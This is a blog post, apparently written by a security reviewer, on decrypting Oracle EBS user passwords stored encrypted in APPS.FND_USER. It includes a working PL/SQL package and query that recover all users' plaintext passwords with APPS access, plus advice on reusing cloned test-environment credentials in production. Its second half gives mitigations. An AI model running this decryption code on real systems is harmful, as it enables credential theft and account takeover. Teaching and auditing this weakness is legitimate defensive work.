A very nice reader asked if I could make a detailed post on how Oracle EBS user passwords can be hacked and extracted.
This is a high risk and additionally a serious flaw on an Oracle EBS solution. Thus I decided to oblige and make the post.
It is planned to be as easy to read as possible.
Enjoy…..
Also check: Oracle Database Native Auditing Features
There are 2 risk factors that makes this exploit possible which are:
- 1) Poor Implementation of the Oracle EBS solution.
- 2) Poor migration of data/cloning from Production to Test environments
Below are reasons why these risks are ignorantly created:
- Developers need to test applications interfacing with Oracle EBS database.
- DBA needs to test/evaluate the database performance or test upgrade/patching of the production database.
- Consultant need to re-configure setting in the Oracle EBS.
These excuses might be the reason for the need to CLONE an environment of the Oracle EBS.
Test environments as always will consist of mostly relaxed superadmin accounts like “APPS” which is a very powerful Oracle EBS account.
However there is always an underlining risk to this if carelessly cloned. The DBA might out-rightly clone the database (Like for Like) creating an exact replica of the production environment. This includes the user credentials.
This is a big mistake as the password of the Oracle EBS user table “APPS.FND_USER” is stored in encrypted form instead of been hashed.
What this means is that the individual passwords can be decrypted if the decryption key is located.
Once passwords are harvested from the test environment, they can then be used in production since the database was cloned like-for-like…… Works like a charm!!!
Additionally poor implementation of the Oracle EBS production environment could lead to ignorantly creating the super admin account “APPS” with a very weak password.
In some reviews I have done in the past, I have seen where the superadmmin account APPS was so relaxed in the production environment ie
user name: APPS
password: APPS
Crazy aint it? The IT officer and consultants had no clue the risk they had exposed the Oracle EBS solution to.
The main reason for this particular post is to learn how to exploit this weakness and most especially how to ensure it is prevented.
What is needed:
- Access to an Oracle EBS back-end database
- APPS user credential.
- Knowledge of SQL and PL-SQL
STEPS TO DECRYPT ORACLE EBS USER PASSWORDS
1. Log on with the APPS credentials (Note that this can only be successful with the APPS account so its important you use it)
2. Create a Package called get_pwd
CREATE OR REPLACE PACKAGE get_pwd
AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2;
END get_pwd;
3. Run the query below to create a package bodyCREATE OR REPLACE PACKAGE BODY get_pwdASFUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)RETURN VARCHAR2ASLANGUAGE JAVANAME ‘oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String’;END get_pwd;
4. Finally run the Decryption script belowSELECT usr.user_name,
get_pwd.decrypt
((SELECT (SELECT get_pwd.decrypt
(apps.fnd_web_sec.get_guest_username_pwd,
usertable.encrypted_foundation_password )
FROM DUAL) as apps_password
FROM apps.fnd_user usertable
WHERE usertable.user_name =
(SELECT SUBSTR
(apps.fnd_web_sec.get_guest_username_pwd,1,
INSTR (apps.fnd_web_sec.get_guest_username_pwd, ‘/’ ) – 1)
FROM DUAL)),
usr.encrypted_user_password) PASSWORD
FROM apps.fnd_user usr;
The vulnerability if in existence, will be exploitable 100% of the time and should be guarded against.
How do we protect against this
In this section, I will detail steps to be taken to ensure this vulnerability is completely contained. Lets look at it in terms of it risks.
Risk 1: Poor migration of production data to test environment
1. Request from the DBA the documented procedure guiding on cloning databases.
2. Review to ascertain that it covers all security risk inherent in the Oracle EBS cloning process. I will help you with a few security checks
- Extract a copy of the Oracle EBS users from production environment by running this script:
Select USER_ID, USER_NAME, ENCRYPTED_FOUNDATION_PASSWORD, ENCRYPTED_USER_PASSWORD from APPS.FND_USER
- Run the same script to extract the Oracle EBS users from the test environment.The objective of this is to confirm if the encryption values in the ENCRYPTED_FOUNDATION_PASSWORD and ENCRYPTED_USER_PASSWORD are the same.
- If they are the same, this means that the the credentials (passwords) in test database is the same as that of the production database.
In this case, the test database should be immediately brought down and all passwords in the production database be changed with a matter of urgency.
- On the other hand if they do not match then the APPS password has been changed upon cloning which is the expected practice. It is however still not safe as anyone with the knowledge of the APPs superadmin password in the Oracle EBS test environment can still decrypt user passwords and use it in the production environment.
- Ensure that after database cloning, the encrypted password in the password column of the APPS.FND_USER table is totally wiped off/ deleted. This includes the ENCRYPTED_FOUNDATION_PASSWORD and ENCRYPTED_USER_PASSWORD. Performing This will force a new password to be created once the user account is called to be used in the application. All these should be done by the DBA before handing over the test eniroment to the requesting party
Risk 2: Poor Implementation of Oracle EBS
1. Secure the Oracle EBS production environment
- Ensure that the password of the APPS superadmin account is dualized in the production environment between the IT Control team and the DBA.
- This password should not be known by any one person as it is used to encrypt and decrypt users passwords. Let me explain.
Below is a sample extract of the APPS.FND_USERS table:
| USER_NAME | ENCRYPTED_FOUNDATION_PASSWORD | ENCRYPTED_USER_PASSWORD |
| User1 | ZGCC50126C1264D8EEB40755FD34C0F 1C8F707A378853D3B0915AF1188CDE 7A5CA95C1752D007B618002206D997B D3FA593B | ZG183950B7D26856BCFF7F7C96 0C116A69C236679B05042AB1E25 1D3FC1DB8051F1C6629F8BBDD5 7523983B4354AE4C4A13B |
| User2 | ZHBC0C57292FA5622101AA979CC61ED FCD6FD916541883180A9AFC3A9792509 EB9AABA0B0A67151BD3AC01C97132EB A92B3B | ZHE7775F820DA893816E8B74709C 64B5531D2202DCEBADAFB701043 5384A91FA00C15CC4F921754572B 15557DD4E1C52B93B |
· In the ENCRYPTED_FOUNDATION_PASSWORD column, the password of the APPS superadmin account is encrypted with the user name and user’s password· In the ENCRYPTED_USER_PASSWORD column, the User password is encrypted using the password of the APPS superadmin account.
Thus if the APPS password is changed, the encryption also changes, but the password values remains the same. Please take note of this.
So my final recommendation is:
- Ensure the APPS superadmin account in the production environment, is DUALIZED between IT department (DBA) and IT Control team.
- And for the test environment, ensure the data in the password columns are properly sanitized before handing over for use.
Optional recommendation
In the alternative, you can have the password in the APPS.FND_USER hashed.
Oracle provides the option to Hash the password column of the APPS.FND_USER table. This can be achieved using the AFPASSWD command-line utility provided by oracle.
Please note that this functionality is only available for Oracle EBS versions starting with release 12.
After implementation you can run this script to validate:
select USER_NAME, ENCRYPTED_FOUNDATION_PASSWORD, ENCRYPTED_USER_PASSWORDfrom applsys.fnd_userwhere encrypted_foundation_password not like ‘X_{SHA}%’and encrypted_foundation_password <> ‘INVALID’and encrypted_user_password <>’EXTERNAL’;
In the script,’INVALID’: Means some default Oracle application accounts access are blocked by directly updating the FND_USER Table.’EXTERNAL’: Means user authentication is delegated and thus password is not stored in the FND_USER table.
The APPS.FND_USER table should look like this if it has been hashed:
| USER_NAME | ENCRYPTED_FOUNDATION_PASSWORD | ENCRYPTED_USER_PASSWORD |
| User1 | XG{SHA1} | XG183950B7D26856BCFF7F7C96 0C116A69C236679B05042AB1E25 1D3FC1DB8051F1C6629F8BBDD5 7523983B4354AE4C4A13B |
| User2 | XG{SHA1} | XG7775F820DA893816E8B74709C 64B5531D2202DCEBADAFB70104 35384A91FA00C15CC4F92175457 2B15557DD4E1C52B93B |
So that’s it for this post. I hope you enjoyed reading.
Please if you liked this post don’t forget to comment, like and most especially share.
Thank you.
Leave a Reply